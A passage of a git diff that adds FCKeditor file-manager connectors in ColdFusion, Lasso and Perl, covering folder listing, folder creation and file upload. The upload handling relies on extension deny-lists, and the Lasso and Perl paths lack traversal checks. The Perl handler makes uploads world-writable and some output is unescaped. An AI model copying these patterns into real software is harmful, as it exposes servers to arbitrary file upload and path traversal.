+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: connector.cfm
+ *     File Browser connector for ColdFusion.
+ *     (based on the original CF connector by Hendrik Kramer - hk@lwd.de)
+ * 
+ *     Note: 
+ *     FCKeditor requires that the connector responds with UTF-8 encoded XML.
+ *     As ColdFusion 5 does not fully support UTF-8 encoding, we force ASCII 
+ *     file and folder names in this connector to allow CF5 send a UTF-8 
+ *     encoded response - code points under 127 in UTF-8 are stored using a 
+ *     single byte, using the same encoding as ASCII, which is damn handy. 
+ *     This is all grand for the English speakers, like meself, but I dunno 
+ *     how others are gonna take to it. Well, the previous version of this 
+ *     connector already did this with file names and nobody seemed to mind, 
+ *     so fingers-crossed nobody will mind their folder names being munged too.
+ *       
+ * 
+ * File Authors:
+ *             Mark Woods (mark@thickpaddy.com)
+ *             Wim Lemmens (didgiman@gmail.com)
+--->
+
+<cfparam name="url.command">
+<cfparam name="url.type"> 
+<cfparam name="url.currentFolder">
+<!--- note: no serverPath url parameter - see config.cfm if you need to set the serverPath manually --->
+
+<cfinclude template="config.cfm">
+
+<cfscript>
+       userFilesPath = config.userFilesPath;
+       lAllowedExtensions = config.allowedExtensions[url.type];
+       lDeniedExtensions = config.deniedExtensions[url.type];
+       
+       // make sure the user files path is correctly formatted
+       userFilesPath = replace(userFilesPath, "\", "/", "ALL");
+       userFilesPath = replace(userFilesPath, '//', '/', 'ALL');
+       if ( right(userFilesPath,1) neq "/" ) {
+               userFilesPath = userFilesPath & "/";
+       }
+       if ( left(userFilesPath,1) neq "/" ) {
+               userFilesPath = "/" & userFilesPath;
+       }
+       
+       // make sure the current folder is correctly formatted
+       url.currentFolder = replace(url.currentFolder, "\", "/", "ALL");
+       url.currentFolder = replace(url.currentFolder, '//', '/', 'ALL');
+       if ( right(url.currentFolder,1) neq "/" ) {
+               url.currentFolder = url.currentFolder & "/";
+       }
+       if ( left(url.currentFolder,1) neq "/" ) {
+               url.currentFolder = "/" & url.currentFolder;
+       }
+
+       if ( find("/",getBaseTemplatePath()) neq 0 ) {
+               fs = "/";
+       } else {
+               fs = "\";
+       }
+       
+       // Get the base physical path to the web root for this application. The code to determine the path automatically assumes that
+       // the "FCKeditor" directory in the http request path is directly off the web root for the application and that it's not a 
+       // virtual directory or a symbolic link / junction. Use the serverPath config setting to force a physical path if necessary.
+       if ( len(config.serverPath) ) {
+               serverPath = config.serverPath;
+       } else {
+               serverPath = replaceNoCase(getBaseTemplatePath(),replace(cgi.script_name,"/",fs,"all"),"");
+       }
+                       
+       // map the user files path to a physical directory
+       userFilesServerPath = serverPath & replace(userFilesPath,"/",fs,"all");
+       
+       xmlContent = ""; // append to this string to build content
+</cfscript>
+
+<cfif not config.enabled>
+
+       <cfset xmlContent = "<Error number=""1"" text=""This connector is disabled. Please check the 'editor/filemanager/browser/default/connectors/cfm/config.cfm' file"" />">
+       
+<cfelseif find("..",url.currentFolder)>
+       
+       <cfset xmlContent = "<Error number=""102"" />">
+       
+</cfif>
+
+<cfif not len(xmlContent)>
+
+<!--- create directories in physical path if they don't already exist --->
+<cfset currentPath = serverPath>
+<cftry>
+
+       <cfloop list="#userFilesPath#" index="name" delimiters="/">
+               
+               <cfif not directoryExists(currentPath & fs & name)>
+                               <cfdirectory action="create" directory="#currentPath##fs##name#" mode="755">
+               </cfif>
+               
+               <cfset currentPath = currentPath & fs & name>
+               
+       </cfloop>
+       
+       <!--- create sub-directory for file type if it doesn't already exist --->
+               <cfif not directoryExists(userFilesServerPath & url.type)>      
+               <cfdirectory action="create" directory="#userFilesServerPath##url.type#" mode="755">
+       </cfif>
+
+<cfcatch>
+
+       <!--- this should only occur as a result of a permissions problem --->
+       <cfset xmlContent = "<Error number=""103"" />">
+
+</cfcatch>
+</cftry>
+
+</cfif>
+
+<cfif not len(xmlContent)>
+
+       <!--- no errors thus far - run command --->
+       
+       <!--- we need to know the physical path to the current folder for all commands --->
+       <cfset currentFolderPath = userFilesServerPath & url.type & replace(url.currentFolder,"/",fs,"all")>
+       
+       <cfswitch expression="#url.command#">
+       
+       
+               <cfcase value="FileUpload">
+               
+                       <cfset fileName = "">
+                       <cfset fileExt = "">
+               
+                       <cftry>
+                       
+                               <!--- TODO: upload to a temp directory and move file if extension is allowed --->
+                       
+                               <!--- first upload the file with an unique filename --->
+                               <cffile action="upload"
+                                       fileField="NewFile"
+                                       destination="#currentFolderPath#"
+                                       nameConflict="makeunique"
+                                       mode="644"
+                                       attributes="normal">
+                               
+                               <cfif cffile.fileSize EQ 0>
+                                       <cfthrow>
+                               </cfif>
+                               
+                               <cfif ( len(lAllowedExtensions) and not listFindNoCase(lAllowedExtensions,cffile.ServerFileExt) )
+                                       or ( len(lDeniedExtensions) and listFindNoCase(lDeniedExtensions,cffile.ServerFileExt) )>
+                               
+                                       <cfset errorNumber = "202">
+                                       <cffile action="delete" file="#cffile.ServerDirectory##fs##cffile.ServerFile#">
+                               
+                               <cfelse>
+                               
+                                       <cfscript>
+                                       errorNumber = 0;
+                                       fileName = cffile.ClientFileName;
+                                       fileExt = cffile.ServerFileExt;
+                       
+                                       // munge filename for html download. Only a-z, 0-9, _, - and . are allowed
+                                       if( reFind("[^A-Za-z0-9_\-\.]", fileName) ) {
+                                               fileName = reReplace(fileName, "[^A-Za-z0-9\-\.]", "_", "ALL");
+                                               fileName = reReplace(fileName, "_{2,}", "_", "ALL");
+                                               fileName = reReplace(fileName, "([^_]+)_+$", "\1", "ALL");
+                                               fileName = reReplace(fileName, "$_([^_]+)$", "\1", "ALL");
+                                       }
+                                       
+                                       // When the original filename already exists, add numbers (0), (1), (2), ... at the end of the filename.
+                                       if( compare( cffile.ServerFileName, fileName ) ) {
+                                               counter = 0;
+                                               tmpFileName = fileName;
+                                               while( fileExists("#currentFolderPath##fileName#.#fileExt#") ) {
+                                                       counter = counter + 1;
+                                                       fileName = tmpFileName & '(#counter#)';
+                                               }
+                                       }
+                                       </cfscript>
+                                       
+                                       <!--- Rename the uploaded file, if neccessary --->
+                                       <cfif compare(cffile.ServerFileName,fileName)>
+                                       
+                                               <cfset errorNumber = "201">
+                                               <cffile
+                                                       action="rename"
+                                                       source="#currentFolderPath##cffile.ServerFileName#.#cffile.ServerFileExt#"
+                                                       destination="#currentFolderPath##fileName#.#fileExt#"
+                                                       mode="644"
+                                                       attributes="normal">
+                                       
+                                       </cfif>                                 
+                               
+                               </cfif>
+               
+                               <cfcatch type="Any">
+                               
+                                       <cfset errorNumber = "202">
+                                       
+                               </cfcatch>
+                               
+                       </cftry>
+                       
+                       
+                       <cfif errorNumber eq 201>
+                       
+                               <!--- file was changed (201), submit the new filename --->
+                               <cfoutput>
+                               <script type="text/javascript">
+                               window.parent.frames['frmUpload'].OnUploadCompleted(#errorNumber#,'#replace( fileName & "." & fileExt, "'", "\'", "ALL")#');
+                               </script>
+                               </cfoutput>
+
+                       <cfelse>
+                       
+                               <!--- file was uploaded succesfully(0) or an error occured(202). Submit only the error code. --->
+                               <cfoutput>
+                               <script type="text/javascript">
+                               window.parent.frames['frmUpload'].OnUploadCompleted(#errorNumber#);
+                               </script>
+                               </cfoutput>
+                               
+                       </cfif>
+                       
+                       <cfabort>
+               
+               </cfcase>
+               
+               
+               <cfcase value="GetFolders">
+               
+                       <!--- Sort directories first, name ascending --->
+                       <cfdirectory 
+                               action="list" 
+                               directory="#currentFolderPath#" 
+                               name="qDir"
+                               sort="type,name">
+                       
+                       <cfscript>
+                               i=1;
+                               folders = "";
+                               while( i lte qDir.recordCount ) {
+                                       if( not compareNoCase( qDir.type[i], "FILE" ))
+                                               break;
+                                       if( not listFind(".,..", qDir.name[i]) )
+                                               folders = folders & '<Folder name="#qDir.name[i]#" />';
+                                       i=i+1;
+                               }
+               
+                               xmlContent = xmlContent & '<Folders>' & folders & '</Folders>';
+                       </cfscript>
+               
+               </cfcase>
+               
+               
+               <cfcase value="GetFoldersAndFiles">
+               
+                       <!--- Sort directories first, name ascending --->
+                       <cfdirectory 
+                               action="list" 
+                               directory="#currentFolderPath#" 
+                               name="qDir"
+                               sort="type,name">
+                               
+                       <cfscript>
+                               i=1;
+                               folders = "";
+                               files = "";
+                               while( i lte qDir.recordCount ) {
+                                       if( not compareNoCase( qDir.type[i], "DIR" ) and not listFind(".,..", qDir.name[i]) ) {
+                                               folders = folders & '<Folder name="#qDir.name[i]#" />';
+                                       } else if( not compareNoCase( qDir.type[i], "FILE" ) ) {
+                                               fileSizeKB = round(qDir.size[i] / 1024);
+                                               files = files & '<File name="#qDir.name[i]#" size="#IIf( fileSizeKB GT 0, DE( fileSizeKB ), 1)#" />';
+                                       }
+                                       i=i+1;
+                               }
+               
+                               xmlContent = xmlContent & '<Folders>' & folders & '</Folders>';
+                               xmlContent = xmlContent & '<Files>' & files & '</Files>';
+                       </cfscript>
+               
+               </cfcase>
+               
+               
+               <cfcase value="CreateFolder">
+               
+                       <cfparam name="url.newFolderName" default="">
+                       
+                       <cfscript>
+                               newFolderName = url.newFolderName;
+                               if( reFind("[^A-Za-z0-9_\-\.]", newFolderName) ) {
+                                       // Munge folder name same way as we do the filename
+                                       // This means folder names are always US-ASCII so we don't have to worry about CF5 and UTF-8
+                                       newFolderName = reReplace(newFolderName, "[^A-Za-z0-9\-\.]", "_", "all");
+                                       newFolderName = reReplace(newFolderName, "_{2,}", "_", "all");
+                                       newFolderName = reReplace(newFolderName, "([^_]+)_+$", "\1", "all");
+                                       newFolderName = reReplace(newFolderName, "$_([^_]+)$", "\1", "all");
+                               }
+                       </cfscript>
+               
+                       <cfif not len(newFolderName) or len(newFolderName) gt 255>
+                               <cfset errorNumber = 102>       
+                       <cfelseif directoryExists(currentFolderPath & newFolderName)>
+                               <cfset errorNumber = 101>
+                       <cfelseif reFind("^\.\.",newFolderName)>
+                               <cfset errorNumber = 103>
+                       <cfelse>
+                               <cfset errorNumber = 0>
+               
+                               <cftry>
+                                       <cfdirectory
+                                               action="create"
+                                               directory="#currentFolderPath##newFolderName#"
+                                               mode="755">
+                                       <cfcatch>
+                                               <!--- 
+                                               un-resolvable error numbers in ColdFusion:
+                                               * 102 : Invalid folder name. 
+                                               * 103 : You have no permissions to create the folder. 
+                                               --->
+                                               <cfset errorNumber = 110>
+                                       </cfcatch>
+                               </cftry>
+                       </cfif>
+                       
+                       <cfset xmlContent = xmlContent & '<Error number="#errorNumber#" />'>
+               
+               </cfcase>
+               
+               
+               <cfdefaultcase>
+               
+                       <cfthrow type="fckeditor.connector" message="Illegal command: #url.command#">
+                       
+               </cfdefaultcase>
+               
+               
+       </cfswitch>
+       
+</cfif>
+
+<cfscript>
+       xmlHeader = '<?xml version="1.0" encoding="utf-8" ?><Connector command="#url.command#" resourceType="#url.type#">';
+       xmlHeader = xmlHeader & '<CurrentFolder path="#url.currentFolder#" url="#userFilesPath##url.type##url.currentFolder#" />';
+       xmlFooter = '</Connector>';
+</cfscript>
+
+<cfheader name="Expires" value="#GetHttpTimeString(Now())#">
+<cfheader name="Pragma" value="no-cache">
+<cfheader name="Cache-Control" value="no-cache, no-store, must-revalidate">
+<cfcontent reset="true" type="text/xml; charset=UTF-8">
+<cfoutput>#xmlHeader##xmlContent##xmlFooter#</cfoutput>        
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/lasso/config.lasso b/fckeditor/editor/filemanager/browser/default/connectors/lasso/config.lasso
new file mode 100755 (executable)
index 0000000..b87b219
--- /dev/null
@@ -0,0 +1,69 @@
+[//lasso
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: config.lasso
+ *     Configuration file for the File Manager Connector for Lasso.
+ * 
+ * File Authors:
+ *             Jason Huck (jason.huck@corefive.com)
+ */
+
+    /*.....................................................................     
+    The connector uses the file tags, which require authentication. Enter a
+    valid username and password from Lasso admin for a group with file tags
+    permissions for uploads and the path you define in UserFilesPath below.                                                                        
+    */ 
+    
+       var('connection') = array(
+               -username='xxxxxxxx',
+               -password='xxxxxxxx'
+       );
+
+
+    /*.....................................................................     
+    Set the base path for files that users can upload and browse (relative
+    to server root).
+    
+    Set which file extensions are allowed and/or denied for each file type.                                                                           
+    */                                                                          
+       var('config') = map(
+           'Enabled' = true,
+               'UserFilesPath' = '/userfiles/',
+               'Subdirectories' = map(
+                       'File' = 'File/',
+                       'Image' = 'Image/',
+                       'Flash' = 'Flash/',
+                       'Media' = 'Media/'
+               ),
+               'AllowedExtensions' = map(
+                       'File' = array(),
+                       'Image' = array('jpg','gif','jpeg','png'),
+                       'Flash' = array('swf','fla'),
+                       'Media' = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg')
+               ),
+               'DeniedExtensions' = map(
+                       'File' = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','lasso','lassoapp','htaccess','asis'),
+                       'Image' = array(),
+                       'Flash' = array(),
+                       'Media' = array()
+               )
+       );
+]
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/lasso/connector.lasso b/fckeditor/editor/filemanager/browser/default/connectors/lasso/connector.lasso
new file mode 100755 (executable)
index 0000000..af5016d
--- /dev/null
@@ -0,0 +1,253 @@
+[//lasso
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: connector.lasso
+ *     This is the File Manager Connector for Lasso.
+ * 
+ * File Authors:
+ *             Jason Huck (jason.huck@corefive.com)
+ */
+
+    /*.....................................................................     
+    Include global configuration. See config.lasso for details.                                                                           
+    */                                                                          
+       include('config.lasso');
+
+               
+    /*.....................................................................     
+    Translate current date/time to GMT for custom header.                                                                          
+    */                                                                          
+       var('headerDate') = date_localtogmt(date)->format('%a, %d %b %Y %T GMT');
+
+
+    /*.....................................................................     
+    Convert query string parameters to variables and initialize output.                                                                           
+    */                                                                          
+       var(
+               'Command'               =       action_param('Command'),
+               'Type'                  =       action_param('Type'),
+               'CurrentFolder' =       action_param('CurrentFolder'),
+               'ServerPath'    =       action_param('ServerPath'),
+               'NewFolderName' =       action_param('NewFolderName'),
+               'NewFile'               =       null,
+               'NewFileName'   =       string,
+               'OrigFilePath'  =       string,
+               'NewFilePath'   =       string,
+               'commandData'   =       string,
+               'folders'               =       '\t<Folders>\n',
+               'files'                 =       '\t<Files>\n',
+               'errorNumber'   =       integer,
+               'responseType'  =       'xml',
+               'uploadResult'  =       '0'
+       );
+
+
+    /*.....................................................................     
+    Calculate the path to the current folder.                                                                           
+    */                                                                          
+       $ServerPath == '' ? $ServerPath = $config->find('UserFilesPath');
+               
+       var('currentFolderURL' = $ServerPath 
+               + $config->find('Subdirectories')->find(action_param('Type'))
+               + action_param('CurrentFolder')
+       );
+
+
+    /*.....................................................................     
+    Build the appropriate response per the 'Command' parameter. Wrap the
+    entire process in an inline for file tag permissions.                                                                         
+    */                                                                          
+       inline($connection);
+               select($Command);       
+            /*.............................................................     
+            List all subdirectories in the 'Current Folder' directory.                                                                   
+            */                                                                  
+                       case('GetFolders');
+                               $commandData += '\t<Folders>\n';
+                       
+                               iterate(file_listdirectory($currentFolderURL), local('this'));
+                                       #this->endswith('/') ? $commandData += '\t\t<Folder name="' + #this->removetrailing('/')& + '" />\n';
+                               /iterate;
+                               
+                               $commandData += '\t</Folders>\n';
+
+
+            /*.............................................................     
+            List both files and folders in the 'Current Folder' directory.
+            Include the file sizes in kilobytes.                                                                   
+            */                                                                                                 
+                       case('GetFoldersAndFiles');
+                               iterate(file_listdirectory($currentFolderURL), local('this'));
+                                       if(#this->endswith('/'));
+                                               $folders += '\t\t<Folder name="' + #this->removetrailing('/')& + '" />\n';
+                                       else;
+                                               local('size') = file_getsize($currentFolderURL + #this) / 1024;
+                                               $files += '\t\t<File name="' + #this + '" size="' + #size + '" />\n';
+                                       /if;                                    
+                               /iterate;
+
+                               $folders += '\t</Folders>\n';
+                               $files += '\t</Files>\n';
+                               
+                               $commandData += $folders + $files;
+
+
+            /*.............................................................     
+            Create a directory 'NewFolderName' within the 'Current Folder.'                                                                 
+            */                                                                                                 
+                       case('CreateFolder');
+                               var('newFolder' = $currentFolderURL + $NewFolderName + '/');                    
+                               file_create($newFolder);                        
+                               
+                               
+                /*.........................................................     
+                Map Lasso's file error codes to FCKEditor's error codes.                                                              
+                */                                                                                             
+                               select(file_currenterror( -errorcode));
+                                       case(0);
+                                               $errorNumber = 0;
+                                       case( -9983);
+                                               $errorNumber = 101;
+                                       case( -9976);
+                                               $errorNumber = 102;
+                                       case( -9977);
+                                               $errorNumber = 102;
+                                       case( -9961);
+                                               $errorNumber = 103;
+                                       case;
+                                               $errorNumber = 110;
+                               /select;
+                               
+                               $commandData += '<Error number="' + $errorNumber + '" />\n';
+
+
+            /*.............................................................     
+            Process an uploaded file.                                                                  
+            */                                                                                                 
+                       case('FileUpload');             
+                /*.........................................................     
+                This is the only command that returns an HTML response.                                                              
+                */                                                                                     
+                               $responseType = 'html';
+                               
+                               
+                /*.........................................................     
+                Was a file actually uploaded?                                                              
+                */                                                              
+                               file_uploads->size ? $NewFile = file_uploads->get(1) | $uploadResult = '202';
+                                                               
+                               if($uploadResult == '0');
+                    /*.....................................................     
+                    Split the file's extension from the filename in order
+                    to follow the API's naming convention for duplicate
+                    files. (Test.txt, Test(1).txt, Test(2).txt, etc.)                                                          
+                    */                                                          
+                                       $NewFileName = $NewFile->find('OrigName');                                                                                                      
+                                       $OrigFilePath = $currentFolderURL + $NewFileName;
+                                       $NewFilePath = $OrigFilePath;
+                                       local('fileExtension') = '.' + $NewFile->find('OrigExtension');                                 
+                                       local('shortFileName') = $NewFileName->removetrailing(#fileExtension)&;
+
+
+                    /*.....................................................     
+                    Make sure the file extension is allowed.                                                          
+                    */                                                          
+                                       if($config->find('DeniedExtensions')->find($Type) >> $NewFile->find('OrigExtension'));
+                                               $uploadResult = '202';
+                                       else;
+                        /*.................................................     
+                        Rename the target path until it is unique.                                                    
+                        */                                                                                                                                     
+                                               while(file_exists($NewFilePath));
+                                                       $NewFilePath = $currentFolderURL + #shortFileName + '(' + loop_count + ')' + #fileExtension;
+                                               /while;
+                                               
+                                               
+                        /*.................................................     
+                        Copy the uploaded file to its final location.                                                     
+                        */                                                      
+                                               file_copy($NewFile->find('path'), $NewFilePath);
+
+
+                        /*.................................................     
+                        Set the error code for the response. Note whether
+                        the file had to be renamed.                                                      
+                        */                                                                                                     
+                                               select(file_currenterror( -errorcode));
+                                                       case(0);
+                                                               $OrigFilePath != $NewFilePath ? $uploadResult = '201, \'' + $NewFilePath->split('/')->last + '\'';
+                                                       case;
+                                                               $uploadResult = '202';
+                                               /select;
+                                       /if;
+                               /if;
+
+
+                /*.........................................................     
+                Set the HTML response.                                                               
+                */                                                                                             
+                               $__html_reply__ = '\
+<script type="text/javascript">
+       window.parent.frames[\'frmUpload\'].OnUploadCompleted(' + $uploadResult + ');
+</script>
+                               ';
+               /select;
+       /inline;
+
+
+    /*.....................................................................     
+    Send a custom header for xml responses.                                                                          
+    */                                                                          
+       if($responseType == 'xml');
+               header;
+]
+HTTP/1.0 200 OK
+Date: [$headerDate]
+Server: Lasso Professional [lasso_version( -lassoversion)]
+Expires: Mon, 26 Jul 1997 05:00:00 GMT
+Last-Modified: [$headerDate]
+Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
+Pragma: no-cache
+Keep-Alive: timeout=15, max=98
+Connection: Keep-Alive
+Content-Type: text/xml; charset=utf-8
+[//lasso
+               /header;
+
+
+        /*.................................................................     
+        Set the content type encoding for Lasso.                                                                      
+        */                                                                      
+               content_type('text/xml; charset=utf-8');
+
+
+        /*.................................................................     
+        Wrap the response as XML and output.                                                                      
+        */                                                                      
+               $__html_reply__ = '\
+<?xml version="1.0" encoding="utf-8" ?>
+<Connector command="' + $Command + '" resourceType="' + $Type + '">
+       <CurrentFolder path="' + $CurrentFolder + '" url="' + $currentFolderURL + '" />
+' + $commandData + '
+</Connector>
+               ';
+       /if;
+]      
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/perl/basexml.pl b/fckeditor/editor/filemanager/browser/default/connectors/perl/basexml.pl
new file mode 100755 (executable)
index 0000000..3cb7e83
--- /dev/null
@@ -0,0 +1,67 @@
+#####
+#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
+#  Copyright (C) 2003-2007 Frederico Caldeira Knabben
+#  
+#  == BEGIN LICENSE ==
+#  
+#  Licensed under the terms of any of the following licenses at your
+#  choice:
+#  
+#   - GNU General Public License Version 2 or later (the "GPL")
+#     http://www.gnu.org/licenses/gpl.html
+#  
+#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+#     http://www.gnu.org/licenses/lgpl.html
+#  
+#   - Mozilla Public License Version 1.1 or later (the "MPL")
+#     http://www.mozilla.org/MPL/MPL-1.1.html
+#  
+#  == END LICENSE ==
+#  
+#  File Name: basexml.pl
+#      This is the File Manager Connector for Perl.
+#  
+#  File Authors:
+#              Takashi Yamaguchi (jack@omakase.net)
+#####
+
+sub CreateXmlHeader
+{
+       local($command,$resourceType,$currentFolder) = @_;
+
+       # Create the XML document header.
+       print '<?xml version="1.0" encoding="utf-8" ?>';
+
+       # Create the main "Connector" node.
+       print '<Connector command="' . $command . '" resourceType="' . $resourceType . '">';
+
+       # Add the current folder node.
+       print '<CurrentFolder path="' . ConvertToXmlAttribute($currentFolder) . '" url="' . ConvertToXmlAttribute(GetUrlFromPath($resourceType,$currentFolder)) . '" />';
+}
+
+sub CreateXmlFooter
+{
+       print '</Connector>';
+}
+
+sub SendError
+{
+       local( $number, $text ) = @_;
+
+       print << "_HTML_HEAD_";
+Content-Type:text/xml; charset=utf-8
+Pragma: no-cache
+Cache-Control: no-cache
+Expires: Thu, 01 Dec 1994 16:00:00 GMT
+
+_HTML_HEAD_
+
+       # Create the XML document header
+       print '<?xml version="1.0" encoding="utf-8" ?>' ;
+       
+       print '<Connector><Error number="' . $number . '" text="' . &specialchar_cnv( $text ) . '" /></Connector>' ;
+       
+       exit ;
+}
+
+1;
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/perl/commands.pl b/fckeditor/editor/filemanager/browser/default/connectors/perl/commands.pl
new file mode 100755 (executable)
index 0000000..2bc105d
--- /dev/null
@@ -0,0 +1,162 @@
+#####
+#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
+#  Copyright (C) 2003-2007 Frederico Caldeira Knabben
+#  
+#  == BEGIN LICENSE ==
+#  
+#  Licensed under the terms of any of the following licenses at your
+#  choice:
+#  
+#   - GNU General Public License Version 2 or later (the "GPL")
+#     http://www.gnu.org/licenses/gpl.html
+#  
+#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+#     http://www.gnu.org/licenses/lgpl.html
+#  
+#   - Mozilla Public License Version 1.1 or later (the "MPL")
+#     http://www.mozilla.org/MPL/MPL-1.1.html
+#  
+#  == END LICENSE ==
+#  
+#  File Name: commands.pl
+#      This is the File Manager Connector for Perl.
+#  
+#  File Authors:
+#              Takashi Yamaguchi (jack@omakase.net)
+#####
+
+sub GetFolders
+{
+
+       local($resourceType, $currentFolder) = @_;
+
+       # Map the virtual path to the local server path.
+       $sServerDir = &ServerMapFolder($resourceType, $currentFolder);
+       print "<Folders>";                      # Open the "Folders" node.
+
+       opendir(DIR,"$sServerDir");
+       @files = grep(!/^\.\.?$/,readdir(DIR));
+       closedir(DIR);
+
+       foreach $sFile (@files) {
+               if($sFile != '.' && $sFile != '..' && (-d "$sServerDir$sFile")) {
+                       $cnv_filename = &ConvertToXmlAttribute($sFile);
+                       print '<Folder name="' . $cnv_filename . '" />';
+               }
+       }
+       print "</Folders>";                     # Close the "Folders" node.
+}
+
+sub GetFoldersAndFiles
+{
+
+       local($resourceType, $currentFolder) = @_;
+       # Map the virtual path to the local server path.
+       $sServerDir = &ServerMapFolder($resourceType,$currentFolder);
+
+       # Initialize the output buffers for "Folders" and "Files".
+       $sFolders       = '<Folders>';
+       $sFiles         = '<Files>';
+
+       opendir(DIR,"$sServerDir");
+       @files = grep(!/^\.\.?$/,readdir(DIR));
+       closedir(DIR);
+
+       foreach $sFile (@files) {
+               if($sFile ne '.' && $sFile ne '..') {
+                       if(-d "$sServerDir$sFile") {
+                               $cnv_filename = &ConvertToXmlAttribute($sFile);
+                               $sFolders .= '<Folder name="' . $cnv_filename . '" />' ;
+                       } else {
+                               ($iFileSize,$refdate,$filedate,$fileperm) = (stat("$sServerDir$sFile"))[7,8,9,2];
+                               if($iFileSize > 0) {
+                                       $iFileSize = int($iFileSize / 1024);
+                                       if($iFileSize < 1) {
+                                               $iFileSize = 1;
+                                       }
+                               }
+                               $cnv_filename = &ConvertToXmlAttribute($sFile);
+                               $sFiles .= '<File name="' . $cnv_filename . '" size="' . $iFileSize . '" />' ;
+                       }
+               }
+       }
+       print $sFolders ;
+       print '</Folders>';                     # Close the "Folders" node.
+       print $sFiles ;
+       print '</Files>';                       # Close the "Files" node.
+}
+
+sub CreateFolder
+{
+
+       local($resourceType, $currentFolder) = @_;
+       $sErrorNumber   = '0' ;
+       $sErrorMsg              = '' ;
+
+       if($FORM{'NewFolderName'} ne "") {
+               $sNewFolderName = $FORM{'NewFolderName'};
+               # Map the virtual path to the local server path of the current folder.
+               $sServerDir = &ServerMapFolder($resourceType, $currentFolder);
+               if(-w $sServerDir) {
+                       $sServerDir .= $sNewFolderName;
+                       $sErrorMsg = &CreateServerFolder($sServerDir);
+                       if($sErrorMsg == 0) {
+                               $sErrorNumber = '0';
+                       } elsif($sErrorMsg eq 'Invalid argument' || $sErrorMsg eq 'No such file or directory') {
+                               $sErrorNumber = '102';          #// Path too long.
+                       } else {
+                               $sErrorNumber = '110';
+                       }
+               } else {
+                       $sErrorNumber = '103';
+               }
+       } else {
+               $sErrorNumber = '102' ;
+       }
+       # Create the "Error" node.
+       $cnv_errmsg = &ConvertToXmlAttribute($sErrorMsg);
+       print '<Error number="' . $sErrorNumber . '" originalDescription="' . $cnv_errmsg . '" />';
+}
+
+sub FileUpload
+{
+eval("use File::Copy;");
+
+       local($resourceType, $currentFolder) = @_;
+
+       $sErrorNumber = '0' ;
+       $sFileName = '' ;
+       if($new_fname) {
+               # Map the virtual path to the local server path.
+               $sServerDir = &ServerMapFolder($resourceType,$currentFolder);
+
+               # Get the uploaded file name.
+               $sFileName = $new_fname;
+               $sOriginalFileName = $sFileName;
+
+               $iCounter = 0;
+               while(1) {
+                       $sFilePath = $sServerDir . $sFileName;
+                       if(-e $sFilePath) {
+                               $iCounter++ ;
+                               ($path,$BaseName,$ext) = &RemoveExtension($sOriginalFileName);
+                               $sFileName = $BaseName . '(' . $iCounter . ').' . $ext;
+                               $sErrorNumber = '201';
+                       } else {
+                               copy("$img_dir/$new_fname","$sFilePath");
+                               chmod(0777,$sFilePath);
+                               unlink("$img_dir/$new_fname");
+                               last;
+                       }
+               }
+       } else {
+               $sErrorNumber = '202' ;
+       }
+       $sFileName      =~ s/"/\\"/g;
+       print "Content-type: text/html\n\n";
+       print '<script type="text/javascript">';
+       print 'window.parent.frames["frmUpload"].OnUploadCompleted(' . $sErrorNumber . ',"' . $sFileName . '") ;';
+       print '</script>';
+       exit ;
+}
+1;
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/perl/connector.cgi b/fckeditor/editor/filemanager/browser/default/connectors/perl/connector.cgi
new file mode 100755 (executable)
index 0000000..bbbd61a
--- /dev/null
@@ -0,0 +1,142 @@
+#!/usr/bin/env perl 
+
+#####
+#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
+#  Copyright (C) 2003-2007 Frederico Caldeira Knabben
+#  
+#  == BEGIN LICENSE ==
+#  
+#  Licensed under the terms of any of the following licenses at your
+#  choice:
+#  
+#   - GNU General Public License Version 2 or later (the "GPL")
+#     http://www.gnu.org/licenses/gpl.html
+#  
+#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+#     http://www.gnu.org/licenses/lgpl.html
+#  
+#   - Mozilla Public License Version 1.1 or later (the "MPL")
+#     http://www.mozilla.org/MPL/MPL-1.1.html
+#  
+#  == END LICENSE ==
+#  
+#  File Name: connector.cgi
+#      This is the File Manager Connector for Perl.
+#  
